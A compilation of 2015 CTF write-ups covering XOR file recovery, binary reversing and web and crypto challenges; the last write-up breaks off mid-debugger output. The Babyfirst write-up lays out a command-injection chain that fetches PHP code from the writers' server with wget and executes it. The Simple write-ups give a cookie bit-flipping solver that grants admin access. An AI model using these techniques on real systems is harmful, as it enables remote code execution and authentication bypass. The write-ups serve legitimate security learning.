## Puzzleng (forensic, 150p, 24 solves) > Next Generation of Puzzle! > [puzzleng-edb16f6134bafb9e8b856b441480c117.tgz](puzzleng.tgz) ### PL[ENG](#eng-version) Z dołączonego do zadania pliku tgz wypakowujemy dwa kolejne - [encrypt](encrypt) (to binarka, elf) oraz [flag.puzzle](flag.puzzle) (nieznany typ pliku).Łatwo domyślić się że jeden to kod którym zostały zaszyfrowane dane, a drugi to same zaszyfrowane dane. Przepisujemy kod szyfrujący do C żeby móc go dokładniej przeanalizować: ```cint main(int argc, char *argv[]) { char hash[20]; assert(argc == 3); int password_len = strlen(argv[1]); SHA1(argv[1], password_len, hash); stream = fopen(argv[2], "r"); assert(stream); fseek(stream, 0LL, 2); int data_len = ftell(stream); rewind(stream); for (int i = 0; i <= 19; ++i) { for (int j = 0; j < (data_len + 19) / 20; ++j) { int chr = fgetc(stream); if (chr == -1) break; putchar(chr ^ hash[i]); } }}``` Jak widać działanie jest bardzo proste - dzieli plik wejściowy na 20 bloków, i każdy z nich xoruje z innym bajtem.Bajty z którymi szyfruje są losowe (wynik SHA1) więc ich nie zgadniemy. Ale wydaje się to być banalne, albo wręcz trywialne zadanie. W końcu xorowanie po bajcie to jedna z najsłabszychmetod szyfrowania jaką można wymyślić. Zakładamy więc że dane które zostały zaszyfrowane to plaintext, i piszemyna szybko dekryptor (źródło już nie istnieje, ale pomysł był prosty - dla każdego bloku sprawdzenie, z jakim bajtemgo trzeba xorować żeby po xorowaniu wszystkie bajty były plaintekstem). Bardzo się zawiedliśmy - nie ma takich bajtów, więc dane które zostały zaszyfrowane nie są plaintextem. W przypływie natchnienie sprawdzamy co innego - czy da się znaleźć taki bajt, że po xor-owaniu go z pierwszym blokiemw wyniku będzie gdzieś "IHDR". I nie myliliśmy się - dane które otrzymaliśmy to zaszyfrowany plik .png: ```pythons = open('flag.puzzle', 'rb').read() chunk_len = (1135+19)/20chunks = [s[chunk_len*i:chunk_len*(i+1)] for i in range(20)] def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) for i in range(len(chunks)): c = chunks[i] for b in range(256): xx = xor(c, chr(b)*10000) if 'IHDR' in xx: print i, b, xx, xx.encode('hex')``` Co teraz? Wiemy już z jakim bajtem był xorowany pierwszy blok, ale mamy 19 do zgadnięcia. Zrobiliśmy to samo dla 'IDAT' i 'IEND',zgadując kolejne dwa bajty. Niestety to ślepa uliczka - pikseli obrazka w ten sposób nie zgadniemy (a przynajmniej nie mieliśmy pomysłu żadnego). Dlatego poszliśmy inną drogą - wiemy jak zaczynają się dane chunka IDAT (to stream zlibowy), bo mamy ich fragment: ```pythonstart = '789CEDCF418AE4300C05D0DCFFD2358BC6485F76'.decode('hex')``` Stream zlibowy prawdopodobnie nie zadziała dla wszystkich danych - możemy próbować deszyfrować drugi blok, i patrzeć kiedy będzie leciał wyjątek podczas dekompresji: ```pythonknown = { 0: 101, 1: 48} curr = startfor ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok``` Był to bardzo obiecujący sposób, ale niestety skończył się niepowodzeniem - o ile zawartość trzeciego bloku odzyskaliśmy (był tylko jeden bajt który nie powodował wyjątku), przy czwartym i dalej bloku za wiele danych dekompresowało się poprawnie. Więc wykorzystaliśmy to co wiedzieliśmy o obrazku (wyciągniętą z rozszyfrowanej sekcji IDAT) - miał szerokość 912 pikseli oraz jednobitową paletę (czyli prawdopodobnie czarno-biały). I teraz cechą plików png, jest to że na początku każdego wiersza danych znajdujesię filtr którym są one traktowane. Mniejsza o technikalia, wynika z tego że co 115 bajt w zdekompresowanych danych powinien być równy'\x00' (tzn. nie musiał jeśli byłyby użyte inne filtry, ale po analizie fragmentów danych które mieliśmy zauważyliśmy że tutaj używanywszędize jest filtr 0, jak zazwyczaj w png). ```pythondef testraw(raw): for i in range(len(raw) / 115): if raw[i*115] != '\0': return False return True``` Nowa wersja: ```pythoncurr = startfor ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok``` Niestety, było to dalej niewystarczające - ciągle więcej niż jeden bajt spełniał nasze warunki, więc musieliśmy je jakoś oceniać.Jako że zauważyliśmy że w błędnie zdekompresowanych plikach na końcu znajdywały się głównie zera (czarne piksele), wartościowaliśmy po ilościnieczarnych pikseli w wyniku po dekompresji. Ostateczna wersja: ```pythoncurr = startfor ndx in range(2, 20): clean() c = chunks[ndx] if not known.has_key(ndx): mingap = 0 for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): gap = len([True for x in zl[-500:] if x != '\x00']) if gap > mingap: known[ndx] = i mingap = gap print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok``` Udało się, dostaliśmy jakieś dane. Po zapisaniu ich do pliku otrzymaliśmy piękny QR code: ![result](result.png) Po dekodowaniu: `hitcon{qrencode -s 16 -o flag.png -l H --foreground 8F77B5 --background 8F77B4}` ### ENG version We unpacked two files from tgz attached to task: [encrypt](encrypt) (elf binary) and [flag.puzzle](flag.puzzle) (unknown file).It was obvious to us that first file is binary used to encrypt some data, and second file is result of that encryption. We disassembled and rewritten binary to C to simplify analysis: ```cint main(int argc, char *argv[]) { char hash[20]; assert(argc == 3); int password_len = strlen(argv[1]); SHA1(argv[1], password_len, hash); stream = fopen(argv[2], "r"); assert(stream); fseek(stream, 0LL, 2); int data_len = ftell(stream); rewind(stream); for (int i = 0; i <= 19; ++i) { for (int j = 0; j < (data_len + 19) / 20; ++j) { int chr = fgetc(stream); if (chr == -1) break; putchar(chr ^ hash[i]); } }}``` Encryption method is really simple - program splits input file to 20 blocks of equal length, than xors each of them with another byte. At this moment challenge seems to be very easy, almost trivial - after all xoring data with single byte is one of weakest existing methods of encryption.We assumed that encrypted data was plain text, and tried to bruteforce bytes in sha1 that was used to xor them. If our assumption was true, we couldfind byte such that ciphertext_byte ^ byte is printable ascii for each byte in ciphetext - but it was not possible. That means, data that was encrypted is not textual. So we checked another possiblity - we tried bruteforcing bytes for first block, but this time we hoped for 'IHDR' in decrypted string. And we were right -our encrypted data used to be .png file. ```pythons = open('flag.puzzle', 'rb').read() chunk_len = (1135+19)/20chunks = [s[chunk_len*i:chunk_len*(i+1)] for i in range(20)] def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) for i in range(len(chunks)): c = chunks[i] for b in range(256): xx = xor(c, chr(b)*10000) if 'IHDR' in xx: print i, b, xx, xx.encode('hex')``` Now what? We know byte that was used to encrypt first block, but we have 19 more to go. We used the same method to find 'IDAT' and 'IEND', leaving uswith 17 unknown bytes. That turned out to be dead end, so we tried something completely different. We know first few bytes of IDAT section (because we decrypted block with IDAT) ```pythonstart = '789CEDCF418AE4300C05D0DCFFD2358BC6485F76'.decode('hex')``` We know that this is zlib stream, and that next block, after decrypting and appending to this fragment, should form correct zlib streamas well (otherwise it will probably throw some exception) ```pythonknown = { 0: 101, 1: 48} curr = startfor ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok``` This method was really promising, but we didn't get very far with it. We decrypted third block with ease (only one byte didn't throw exception),but fourth and later blocks decompression threw exceptions much sparser and left us with too much posibilities to bruteforce. So we used our knowledge about image (that we acquired after decrypting IDAT section) - it's 912 pixels wide, 912 pixels height, and have 1bit palette(black and white probably). We remembered that each row in decompressed raw png data starts with 'filter byte' (this byte allows encoders/decoders to preprocessraw pixel data, potentially reducing final file size). After analysing blocks that we managed to decompress, we concluded that all filter bytes are equal to 0, so every 115-th byte in decompressed data should be equal to '\x00'. Using this knowledge we updated our decryptor: ```pythondef testraw(raw): for i in range(len(raw) / 115): if raw[i*115] != '\0': return False return True``` New version: ```pythoncurr = startfor ndx in range(2, 20): c = chunks[ndx] if not known.has_key(ndx): for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): known[ndx] = i print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok``` Alas, that still wasn't it - too many bytes passed this test. We noticed that incorrectly decompressed data contained a lot of zeroes at the end.So we decided to grade possible solutions according to number of '\x00' bytes at the end (the less the better). Final version: ```pythoncurr = startfor ndx in range(2, 20): clean() c = chunks[ndx] if not known.has_key(ndx): mingap = 0 for i in range(256): xx = xor(c, chr(i)*10000) try: zl = zlib.decompressobj().decompress(curr+xx) except: continue if testraw(zl): gap = len([True for x in zl[-500:] if x != '\x00']) if gap > mingap: known[ndx] = i mingap = gap print known[ndx] xxok = xor(c, chr(known[ndx])*10000) curr = curr + xxok``` We did it, that method gave us correct byte that each block was xored with (stored in `known` dictionary). After saving decrypted data to file, we getbeautiful QR code: ![result](result.png) After decoding: `hitcon{qrencode -s 16 -o flag.png -l H --foreground 8F77B5 --background 8F77B4}`
## Babyfirst (web, 100p, ?? solves) > baby, do it first. > http://52.68.245.164 ### PL[ENG](#eng-version) Po połączeniu się pod podany url wyświetla się nam taka strona: ```php ``` Program tworzy folder "sandbox/NASZE_IP" oraz `chdir`uje do niego. Możemy wyświetlić zawartość tego folderu nawigując w przeglądarcedo http://52.68.245.164/sandbox/NASZE_IP. Straciliśmy w tym momencie dużo czasu na zgadywanie co robi /bin/orange (cóż, okazuje się że nic - był to link symboliczny do /bin/true). Ale później zaczeliśmy myśleć, w jaki sposób można ominąć preg_match() - bo to jedyny sposób jaki widzieliśmy. Próbowaliśmy różnych rzeczy,ale ostatecznie zauważyliśmy bardzo ciekawą rzecz - jeśli ostatnim bajtem wyrazu jest \n, przechodzi on ten check. Co to oznacza? Że możemy zmusić exec do wykonania czegoś takiego: http://52.68.245.164/?args[]=a%0A&args[]=touch&args[]=cat ```/bin/orange atouch cat``` I stworzy nam to plik `cat` w naszym sandboxowym folderze. Jest to bardzo duży krok w przód - możemy wykonać dowolne polecenie składające się ze znaków alfanumerycznych.Następnie myśleliśmy długo, jaką komendę wykonać - wszystko ciekawe wymagało użycia albo albo slasha, albo myślnika, albo kropki. Odkryliśmy na szczęście w pewnym momencie, że wget ciągle wspiera pobieranie stron po IP, podanym jako liczbie! To znaczy że zadziała coś takiego: http://92775836/ W tym momencie byliśmy kolejny duży krok bliżej rozwiązania zadania - wget może np. pobrać kod php z naszego serwera (jako tekst), a my wykonamy go za pomocą lokalnego intepretera php.Niestety, duży problem. Wget zapisuje pliki do pliku o nazwie "index.html", a my nie jesteśmy w stanie takiej nazwy przekazać php (kropka!). Redirectypo stronie serwera nie zmienią też nazwy pliku, bo do tego trzeba przekazać wgetowi odpowiednią opcję (myślnik!). Zaczęliśmy się więc zastanawiać nad poleceniami, które dla podania swoich argumentów nie wymagają myślników. Od razu na myśl przyszedł nam `tar`. Gdyby udało nam się przekazać stworzone archiwum do interpretera PHP, ten powinien zignorować wszystko poza kodem PHP zawartym w ``. Ciąg naszych ostatecznych poleceń wygląda następująco: ```mkdir exploitcd exploitwget 92775836tar cvf archived exploitphp archived``` Nasz "eksploit" działał w następujący sposób: ```php ');?>``` Dzięki temu mogliśmy wykonywać już polecenia bez żadnych ograniczeń i w ten sposób szybko znaleźliśmy program odczytujący flagę w `/`. ### ENG version After connecting to the provided url we get the following page: ```php ``` The program creates a directory: "sandbox/OUR_IP" and `chdir`s to it. We can list contents of the folder in a browser by navigating to http://52.68.245.164/sandbox/OUR_IP. We lost a lot of time at this moment by guessing what /bin/orange does (well, it turns out it does nothing, it's just a symbolic link to /bin/true). But then we started to think about how to bypass the preg_match() check - seeing as it was the only possible way. We tried a lot of things but finally noticed an interesting feat - if the last byte of the string is a newline character (`\n`) it also passes the check. What does it mean? That we can force exec to execute something like this: http://52.68.245.164/?args[]=a%0A&args[]=touch&args[]=cat ```/bin/orange atouch cat``` And that will create us a file named `cat` in our sandboxed folder. It's a big step forward - we can now execute an arbitrary command composing of alphanumeric characters. Then we thought long about which command to actually execute - everything interesting needed using slash, dash or dot. But lucky us, we finally discoverd that `wget` is still supporting resolving ip hosts by its `long` number format. That means that we can make a download from: http://92775836/ And that took us even further to completing the task: wget can download a php code from our webserver as text and then we'll execute it passing it to the local PHP interpreter.However, there's a big problem: wget saves contents to a file named `index.html`, but we can't pass that filename to php (the dot!). Server-side redirects won't change the filename as well, because wget needs a parameter for that (dash!). We begun by thinking of all commands which for their arguments don't need dashes. We almost instantly thought of `tar`. If we could pass a non-compressed archive to the PHP interpreter it should ignore everything besides PHP code enclosed in ``. Our final command chain looks like this: ```mkdir exploitcd exploitwget 92775836tar cvf archived exploitphp archived``` Our "exploit" worked in a following way: ```php ');?>``` Thanks to which we could execute commands with no limitations of the character set and that way we quickly found a program giving us a flag sitting in `/`.
#Simple Crypto solution ## IntroSimpleCrypto was the easiest (least amount of point) crypto problem of the HITCON CTF Quals 2015. It comes as a simple ruby/sinatra web application that asks you to login, creates a session cookie and then check if there's a flag "admin:true" in your cookie. There's no login per se, just a session cookie oracle. ## Principles of the attackThe cryptography being used for the sessions cookie is a flavor of AES used in CFB mode. Looking at the size of the IV (initialization vector) we are dealing with a 128 bits version of AES (ie a block is 16 bytes). As a super quick refresher, the AES cipher primitive works on block of data, here 16 bytes at the time, the *mode* (here CFB) is basically telling how you how to expand that behaviour to a stream of data longer than 16 bytes. Looking at wikipedia ([CFB mode](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Feedback_.28CFB.29)) one can see how CFB works : you cipher the IV, xor the first 16 bytes of plain text with the ciphered IV; it gives you the first 16 bytes of ciphertext and also what's going to get feed into the ciphering primitive for the next 16 bytes block of plaintext, and so on. The flaw in this implementation is somewhat obvious: there's no verification of the integrity of the session cookie (no signature, HMAC, etc.) and basically the CFB mode generates a stream of pseudo-random bytes that are being xored to the plaintext. However, if you know the plain text being ciphered, a simple xor can modify it to whatever you want; the modification you made will propagate to the next block (as the cipher text is used to generate the next 16 pseudo-random bytes) but that's pretty much it. ## The attack### Running the codeSomething that usually really useful is being able to run the code on your machine so you can debug information and perform a dynamic analysis, as opposed as trying to guess what the code you have is doing.For instance you want to know what the JSON blob looks like before being ciphered (so you can mess with it and make sure your modification results in what you think they will). Disclaimer: I have no idea what ruby and sinatra do, how people use it, and so on. 1. Install ruby (find the windows installer, the apt-get that works, etc.) 2. Install sinatra (use "gem" to install sinatra, the command is `gem install sinatra` 3. Try to run it (and fail). Apparently sinatra/cookies doesn't get installed :(4. Google it and find out you need to gem install `sinatra-contrib` (go figure) 5. Run it. Now it fails because files are missing.6. Create a fake key and a fake flag, potentially change their path in the .rb file to match your configuration. 7. Runs it. It works! But returns immediately :(8. More google: the architecture of the code is a bit more fancier than a simple hello world (using modular Sinatra apparently), and therefore this SinatraApp patterns requires a bit more massaging to run successfully. So you need a `config.ru` file that you run with the `rackup` command (sure.... see commited files for the details) 9. `rackup config.ru`10. Success! 11. Now you can add some debugging code for more information about what's going on under the hood (like print json) ### Yeah at last the attack!Looking at the verification code, we need a valid JSON blob that contains a username, and ideally admin:true. The fields 'password' and 'db' don't matter. We settle with a target session cookie looking like :`{"username":"aaa", "admin": true}` The reason: up to the last 'a' of the username, we fit everything in a 16 byte block that will remain untouched, the remaining data fits in a second 16 bytes block, and then, nothing more! (so no cascading effect because we tampered with the second AES block).So the process: 1. Go to the website, register the username : `aaaV,VadminV:trueAB` and any password you fancy. Note: I replaced the '"' by 'V' so that they don't get escaped by the JSON parser, 'A' will be a '}' and 'B' will be a ' '. The last two are probably useless and could have been "} " directly but helped me visualise the process and make sure some special character doesn't get escaped without me realising it. 2. Grab the cookie you get (I'm using the chrome extension "Edit This Cookie"). 3. Find the XOR "difference" between `{"username":"aaaV,VadminV:trueAB", ......` and `{"username":"aaa","admin":true} `, xor that difference to the cookie you have (because `A xor B xor C` is the same as `A xor C xor B`) and truncate the remaining part of the cookie (the one beyond those first 32 bytes (and the 16 bytes of IV that are at the beginning of the cookie)).4. Replace the old cookie with the new one.5. Get the flag ! ## ConclusionYou probably want to add a signature to your session cookie so that any shenanigans would be detected and probably goggle what is the best practice in those conditions rather than coming up with your own exotic session cookie.
We are given a cyphertext encrypted with AES-CBC, IV and the beginning of the plaintext. The task is to mangle it so that after decryption the beginning of the plaintext would begin with another given string.All bits that have to be changed are in the 1st block (128 bit). in cbc mode the first block is encrypted this way:CT[0] = enc(PT[0] ^ IV)and decrypted:PT[0] = dec(CT[0]) ^ IVSo if the n-th bit of IV is changed, the n-th bit of PT is changed too. We can calculate IV` = IV ^ PT[0] ^ PT`[0]. And if we provide the user with IV` instead of IV he will get PT` instead of PT after decrypting.The flag is IV`
## Simple (crypro, 100p, 86 solves) > Become admin! > http://52.69.244.164:51913 > [simple-01018f60e497b8180d6c92237e2b3a67.rb](simple.rb) ### PL[ENG](#eng-version) Możemy wykonać HTTP `GET` oraz `POST` do podanej usługi. `POST` szyfruje JSONa złożonego z podanego loginu oraz hasła 128-bitowym AESem w trybie CFB. `GET` deszyfruje go i sprawdza czy JSON ma pole `'admin': true`. Jeżeli tak, to podaje nam flagę. Klucz AESa jest stały i prywatny, a IV generowany losowo i przypinany do ciphertekstu. Tryb CFB nasz ciphertekst generuje w blokach xorując zaszyfrowany klucz z naszą wiadomością. Używa w tym procesie obecny blok do zaszyfrowania następnego. Oznacza to, że nie możemy zmodyfikować dwóch bloków, które następują po sobie bez sprawienia, że deszyfracja zacznie produkować śmieci. Sposób w jaki tworzony jest ten konkretny JSON sprawia że niemożliwa jest zmiana tylko ostatniego bloku - nie możemy dodać nowego pola modyfikując tylko 16 ostatnich znaków ciągu `{ ... "password":"provided_password","db":"hitcon-ctf"}`. Możemy natomiast zmodyfikować przedostatni, a ostatni całkowicie wyciąć (po prostu przycinając ciphertext). Możemy również pobawić się z pierwszym blokiem oraz IV, ale wybraliśmy tą pierwsza metodę. Oto nasz solver: ```pythonimport requestsimport urllib2 response = requests.post('http://52.69.244.164:51913/', data={'username': 'aaa', 'password': 'bbbbbbbbbbbbbbbbbbbbbbbbbbbb'}, allow_redirects=False)cookie = urllib2.unquote(response.cookies['auth']) source = 'bbbbbbbbbbbb","db":"hitcon-ctf"}'target = 'bbb","admin":true} ' def xor(x, y): return ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(x, y)) key = xor(cookie[-len(source):], source)payload = cookie[:-len(source)] + xor(key, target)[:-14] response = requests.get('http://52.69.244.164:51913/', cookies={'auth': urllib2.quote(payload)})print response.content``` **hitcon{WoW_CFB_m0dE_5o_eAsY}** ### ENG version We can do a HTTP `GET` and `POST` to the provided service. `POST` encrypts a JSON of provided "username" and "password" with a 128-bit AES in CFB mode. `GET` decrypts it and if the JSON has a `'admin': true` field it gives us the flag. Key for the AES is constant and private while IV is randomly generated and prepended to the ciphertext. CFB mode produces ciphertext in blocks by xoring the encrypted key with a plaintext. It also uses part of the current block to encrypt the next. So that means that we can't change two succesive blocks without throwing off the decryption into outputting garbage. The way this particular JSON is constructed makes it rather impossible to change only the last block - we can't add a new field by modifying the last 16 characters of `{ ... "password":"provided_password","db":"hitcon-ctf"}`. We can however, edit the one before last and discard the last block of ciphertext by simple truncating. We could also play with the first one and the IV, but we chose the former method. Here's the solver: ```pythonimport requestsimport urllib2 response = requests.post('http://52.69.244.164:51913/', data={'username': 'aaa', 'password': 'bbbbbbbbbbbbbbbbbbbbbbbbbbbb'}, allow_redirects=False)cookie = urllib2.unquote(response.cookies['auth']) source = 'bbbbbbbbbbbb","db":"hitcon-ctf"}'target = 'bbb","admin":true} ' def xor(x, y): return ''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(x, y)) key = xor(cookie[-len(source):], source)payload = cookie[:-len(source)] + xor(key, target)[:-14] response = requests.get('http://52.69.244.164:51913/', cookies={'auth': urllib2.quote(payload)})print response.content``` **hitcon{WoW_CFB_m0dE_5o_eAsY}**
# VolgaCTF Quals 2015: Interstellar ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| VolgaCTF Quals 2015 | Interstellar | Reversing | 200 | **Description:**>*interstellar* >*Just a small binary from a far-far galaxy* >*[interstellar](challenge/interstellar)* ----------## Write-up### Reversing We start by taking a look at the binary: >```bash>$ file interstellar > interstellar: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=7114541e8a3f2ef2ad4e972720b47f4a2ac46f14, stripped>``` Let's load it into IDA and get some pseudocode: >```c>__int64 __fastcall mainroutine(int a1, __int64 a2)>{> int v2; // eax@7> size_t v3; // rbx@15> char *v4; // rax@16> char v5; // al@17> size_t v6; // rbx@18> __int64 v8; // [sp+0h] [bp-90h]@4> __WAIT_STATUS stat_loc; // [sp+18h] [bp-78h]@10> int i; // [sp+20h] [bp-70h]@16> int v11; // [sp+24h] [bp-6Ch]@4> int v12; // [sp+28h] [bp-68h]@5> int v13; // [sp+2Ch] [bp-64h]@5> char *s; // [sp+30h] [bp-60h]@12> char *v15; // [sp+38h] [bp-58h]@16> char v16; // [sp+40h] [bp-50h]@13> char s1[40]; // [sp+50h] [bp-40h]@17> __int64 v18; // [sp+78h] [bp-18h]@1>> v18 = *MK_FP(__FS__, 40LL);> if ( a1 != 2 )> {> puts("You should give me the flag as command-line parameter!");> exit(0);> }> prctl(1499557217, -1LL, 0LL, 0LL, 0LL, a2);> v11 = fork();> if ( !v11 )> {> v12 = getppid();> v13 = ptrace(PTRACE_ATTACH, (unsigned int)v12, 0LL, 0LL);> sleep(1u);> ptrace(PTRACE_DETACH, (unsigned int)v12, 0LL, 0LL);> v2 = v13 || getenv("LD_PRELOAD");> exit(v2);> }> wait((__WAIT_STATUS)&stat_loc);> if ( (_DWORD)stat_loc.__uptr )> exit(0);> s = *(char **)(v8 + 8);> if ( strlen(s) == 36 )> {> __gmpz_init(&v16);> for ( HIDWORD(stat_loc.__iptr) = 0; ; ++HIDWORD(stat_loc.__iptr) )> {> v3 = SHIDWORD(stat_loc.__iptr);> if ( v3 >= strlen(s) )> break;> __gmpz_mul_ui(&v16, &v16, 307LL);> __gmpz_add_ui(&v16, &v16, s[SHIDWORD(stat_loc.__iptr)]);> }> LODWORD(v4) = __gmpz_get_str(0LL, 2LL, &v16);> v15 = v4;> __gmpz_clear(&v16);> sub_400B5D(v15, binarystring);> for ( i = 0; ; ++i )> {> v6 = i;> if ( v6 >= strlen(v15) >> 3 )> break;> v5 = sub_400C02((__int64)&v15[8 * i]);> s1[i] = v5;> }> if ( !strcmp(s1, s2) )> puts("Success! You've found the right flag!");> }> return *MK_FP(__FS__, 40LL) ^ v18;>}>``` The above main routine consists of doing some anti-debugging stuff and requesting the flag as a command line parameter. This is followed by checking if the length of the command line parameter s is 36 and subsequently running s through a polynomial defined as follows (using functions from the GNU MP library to handle multiprecision integers): ![alt eq](eq.png) This value is then converted to a binary string representation: >```>LODWORD(v4) = __gmpz_get_str(0LL, 2LL, &v16);>``` Next we encounter two subroutines: sub_400B5D and sub_400C02. Let's take a look at them: >```c>size_t __fastcall sub_400B5D(const char *a1, const char *a2)>{> size_t v2; // rbx@1> char v3; // al@5> size_t result; // rax@8> int i; // [sp+1Ch] [bp-14h]@3>> v2 = strlen(a1);> if ( v2 != strlen(a2) )> exit(0);> for ( i = 0; ; ++i )> {> result = strlen(a1);> if ( i >= result )> break;> if ( a1[i] == a2[i] )> v3 = 49;> else> v3 = 48;> a1[i] = v3;> }> return result;>}>``` The above function compares two strings and if characters at corresponding offsets match it sets the character at that offset in the first string to '1' and else it sets it to '0'. This is effectively an XNOR over two binary string representations. The mainroutine calls XNOR over the binary representation of polynomial evaluation of our flag input and a static binary representation string stored in the binary. >```c>__int64 __fastcall sub_400C02(__int64 a1)>{> unsigned __int8 v2; // [sp+13h] [bp-5h]@1> signed int i; // [sp+14h] [bp-4h]@1>> v2 = 0;> for ( i = 0; i <= 7; ++i )> v2 = *(_BYTE *)(i + a1) + 2 * v2 - 48;> return v2;>}>``` This function iterates over 8 bytes in buffer a1 and calculates the recurrent expression: ![alt eq2](eq2.png) Which effectively converts an 8-byte binary representation string to the corresponding decimal integer. After this is done a final comparison is made by the main routine: >```c> if ( !strcmp(s1, s2) )> puts("Success! You've found the right flag!");>``` It compares the final result of the calculations with the statically stored string: >```asm>.data:00000000006020C0 s2 dq offset aFromASeedAMigh>.data:00000000006020C0 ; DATA XREF: mainroutine+229?r>.data:00000000006020C0 ; "From a seed a mighty trunk may grow.\n">``` Putting this all together allows us to port the functionality to the following, more readable, python equivalent: >```python>def interstellar_crypt(s):> binarystring = "01111101001000101000000111101001001011111110010011100111010011000010101101110110100001101011100101001110000000001101000110001011011010101001000000010010001100011001100011001011010101111011110110001100101100101000110011101111101101000110110010101001100100110100010101101111101111011001100011111101">> #__gmpz_init(&v16);> v16 = gmpy2.mpz(0)>> for i in xrange(0, len(s)):> #__gmpz_mul_ui(&v16, &v16, 307LL);> v16 = gmpy2.mul(v16, 307)>> #__gmpz_add_ui(&v16, &v16, s[SHIDWORD(stat_loc.__iptr)]);> v16 = gmpy2.add(v16, ord(s[i]))>> #LODWORD(v4) = __gmpz_get_str(0LL, 2LL, &v16);> v4 = XNOR(v16.digits(2), binarystring)> s1 = "">> # Iterate over chunks of 8> for i in xrange(0, (len(v4) >> 3)):> v5 = chr(int(v4[8*i: (8*i)+8], 2))> s1 += v5> return s1>``` ### Cracking Obtaining the flag consists of finding the seed corresponding to the string "From a seed a mighty trunk may grow.\n" which is done by inverting the above function yielding: >```python>def interstellar_recover(s2):> v4 = ""> binarystring = "01111101001000101000000111101001001011111110010011100111010011000010101101110110100001101011100101001110000000001101000110001011011010101001000000010010001100011001100011001011010101111011110110001100101100101000110011101111101101000110110010101001100100110100010101101111101111011001100011111101">> for i in xrange(0, len(s2)):> v4 += dec2bin(ord(s2[i]))>> v16 = gmpy2.mpz(XNOR(v4, binarystring), 2)> print "[*]P(flag) = %d" % v16>``` We know that the, for lack of a better word, 'seed sum' can be defined as follows: ![alt eq3](eq3.png) Hence, working in reverse direction, if we subtract the correct character from the 'seed sum' it should be congruent to 0 modulo 307. Subsequently dividing what remains after subtraction by 307 allows us to apply this process iteratively to recover the entire seed: >```python> charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-.:;<=>?@[\]^_{}">> flag = ""> for i in xrange(36):> for c in charset:> if((v16 - ord(c)) % 307 == 0):> v16 -= ord(c)> v16 /= 307> flag += c> break>> return flag[::-1]>``` The [final script](solution/interstellar_crack.py) gives us the following output: >```bash>$ ./ interstellar_crack.py>[*]P(flag) = 97815454071720498577150051643786987589437346798376099957766553517855134069080048023193864>[+]Got flag: [W@ke_up_@nd_s0lv3_an0ther_ch@113nge!]>```
[](ctf=hackover-2015)[](type=reverse)[](tags=reverse,recovery)[](tools=binwalk,gdb-peda) # goto (reverse-150)We have a [zip](../goto-03661d1a42ad20065ef6bfbe5a06287c.tgz) file.Unzipping it gives us a file goto.bin ```bash$ file goto.bin goto.bin: data```data is somewhat nasty for a 150 pt challenge. So I used binwalk on it. ```bash$ binwalk -e goto.bin DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------74 0x4A gzip compressed data, maximum compression, has original file name: "rvs", from Unix, last modified: Thu Oct 15 19:19:35 2015 $ file _goto.bin.extracted/rvs _goto.bin.extracted/rvs: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.6.24, dynamically linked, interpreter \004, stripped``` This could work.```bash$ ./rvsPASSWORD:sudhackar ACCESS DENIED``` I have observed it in many CTFs that how much has gdb-peda made the problems trivial to solve. So we quickly load it in gdb-peda and step through the program.```bashgdb-peda$ b *0x400630Breakpoint 1 at 0x400630gdb-peda$ b *0x4006aaBreakpoint 2 at 0x4006aa``` After some running and stepping. ```bashgdb-peda$ cContinuing.[----------------------------------registers-----------------------------------]RAX: 0x60109e ("eSODoe#GtrWOEnr$Re1OONnt%Ao5ROIa ^Nr{DaE y&TCI\020sDgo#ET_\020l\020iu$DFU\020d\020v!%\020_S\020j\020e\020^\020{E\020k\020 \020&\020t_\020a\020y\020(\020hG\020s\020o\020^\020iO\020d\020u\020&\020sT\020j\020 \020*\020iO\020k\020u\020^\020s_\020l\020p\020&\020aW\020a\020,\020*\020dH\020s\020 \020@\020eE\020d\020n\020#\020cR\020j\020e\020\060\020oE\020k\020v\020$\020yE\020l\020e\020%\020}V\020"...)RBX: 0x7fffffffdfe8 ('A' <repeats 16 times>)RCX: 0x4141414141414176 ('vAAAAAAA')RDX: 0x602015 --> 0x0 RSI: 0x7ffff7ff4011 --> 0x0 RDI: 0x7fffffffdff9 --> 0x100000000000000 RBP: 0x602010 --> 0x6f6b636168 ('hacko')RSP: 0x7fffffffdfe0 --> 0x7ffff7a431a8 --> 0xc001200002832 RIP: 0x4006aa (cmp cl,0x10)R8 : 0x7ffff7ff4011 --> 0x0 R9 : 0x0 R10: 0x10 R11: 0x246 R12: 0x40077f (xor ebp,ebp)R13: 0x7fffffffe120 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x40069e: mov eax,0x601068 0x4006a3: add 